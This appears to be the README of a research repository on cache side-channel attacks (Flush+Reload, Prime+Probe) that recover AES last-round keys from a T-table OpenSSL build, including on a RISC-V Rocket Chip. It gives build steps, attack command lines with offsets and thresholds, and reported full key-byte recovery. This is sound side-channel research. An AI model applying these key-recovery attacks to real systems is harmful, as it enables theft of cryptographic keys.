Skip to content
Snippets Groups Projects

Simple Cache Side-Channal Attacks (CSCAs)

Compile with make. Note that GCC option -O2 is necessary for Prime+Probe 8 attack.

The AES last round attack implementation (src/attack_aes_sync.c, src/victim_aes) is adapted from [https://github.com/jinb-park/crypto-side-channel-attack], and replacing the Flush+Reload Prime+Probe.

AES

Source code aes/ is taken from OpenSSL tag:OpenSSL_1_1_1k, which is the last tag before 1_1_1-stable.

Modifications:

  • Adapt include
  • Remove include of opensslconfig.h
  • Align libaes.so/Tes to 64 byte boundary (begin of a cache line) in order to simplify attack

Note:

  • In the default configuration, AES is build without AES_ASM, OPENSSL_AES_CONST_TIME, FULL_UNROLL option.

Test:

Run:

$ LD_LIBRARY_PATH=. ./test_aes.elf

  key:        2b7e151628aed2a6abf7158809cf4f3c
  plaintext:  6bc1bee22e409f96e93d7e117393172a
  ciphertext: 3ad77bb40d7a3660a89ecaf32466ef97
  ECB Encrypt: encrypted plaintext:  3ad77bb40d7a3660a89ecaf32466ef97
  SUCCESS!
  ECB Decrypt: decrypted ciphertext: 6bc1bee22e409f96e93d7e117393172a
  SUCCESS!

Cache Attack Util

Source code cache/ is partially taken from Mastik Toolkit 0.02.

Modification:

  • Add RISC-V ISA assembly

Cache Profiling

$ ./cache_profiling_hit.elf
$ ./cache_profiling_fr.elf
$ ./cache_profiling_pp1.elf 0
$ ./cache_profiling_pp8.elf 0

AES Synchronous Known Data Attack

Available attacks (configure with macros):

  • Attack type
    • Last round attack
    • First round attack (Make with -WITH_ATTACK_FIRSTROUND, they are not included in Makefile yet)
  • Cache eviction strategy
    • Flush+Reload
    • Prime+Reload (1 way / 8 ways)
    • Prime+Prime (1 way / 8 ways)
  • Victim access strategy
    • single process (victim inside attacker)
    • shared memory

Prepare

Find Te0-3 offset for attacker. As library are publically available, we suppose that the attacker can find these offset without problem.

$ nm libaes.so | grep Te

  0000000000003440 r Te0
  0000000000003040 r Te1
  0000000000002c40 r Te2
  0000000000002840 r Te3

Victim

Command line mode (only allows one single argument):

$ LD_LIBRARY_PATH=. ./victim_aes.elf 6bc1bee22e409f96e93d7e117393172a

  3ad77bb40d7a3660a89ecaf32466ef97

Shared memory mode:

Shared memory is managed by status variable (insteed of semaphore).

$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./test_victim_aes_shmem.elf

Flush+Reload

$ LD_LIBRARY_PATH=. ./attack_aes_lastround_fr.elf 03440 03040 02c40 02840 1000 50

  (Usage: <Offset_Te0> <Offset_Te1> <Offset_Te2> <Offset_Te3> <samples> <threshold>)

$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./attack_aes_lastround_fr_shmem.elf 03440 03040 02c40 02840 3000 140

  [Attacker] Prediction success 14 byte (total 16).

  Note: - Recover 4-9 byte with 1000 plaintext

Prime+Probe 1

It is design for direct-mapped cache, though probably not giving any results on normal machine.

$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1.elf 03440 03040 02c40 02840 1000 50

$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./attack_aes_lastround_pp1_shmem.elf 03440 03040 02c40 02840 1000 120

Prime+Probe 8

It is design for 8 way associative, 64 set cache.

$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp8.elf 03440 03040 02c40 02840 1000 200

$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ ./attack_aes_lastround_pp8_shmem.elf 03440 03040 02c40 02840 1000 1000

On Rocket Chip

$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1.elf 01740 01b40 01f40 02340 1000 40

  [Attacker] Prediction success 16 byte (total 16).

  Note: - Cache profiling pp1 shows that when no conflict pp1 takes 12 cycles (97%), with conflict 37 cycles (98%).

$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp8.elf 01740 01b40 01f40 02340 3000 320

  [Attacker] Prediction success 16 byte (total 16).

  Note: - with 1000 plaintext: 7-11 byte
        - with l1_probe + l1_probe (insteed of l1_bprobe that probing backward): 3-6 byte
        - threshold: 320 seems to be the best threshold for 1000 plaintext.
                     If use 3000 plaintext then thresh can be set from 290 - 330.
                     Cache profiling pp8 shows that when no conflict 272 cycles (96%), with conflict >= 297.

$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1r.elf 01740 01b40 01f40 02340 1000 30

  [Attacker] Prediction success 16 byte (total 16).

$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp1r_shmem.elf 01740 01b40 01f40 02340 3000 80

  Note: - attack needs libaes.so, because it use RELOAD techniques
        - Recovery once 5 byte with 3000 plaintext (takes too long to execute)

$ LD_LIBRARY_PATH=. ./victim_aes_shmem.elf &
$ LD_LIBRARY_PATH=. ./attack_aes_lastround_pp8r_shmem.elf 01740 01b40 01f40 02340 3000 80

AES Asynchronous Attack

$ LD_LIBRARY_PATH=. ./attack_aes_async_fr.elf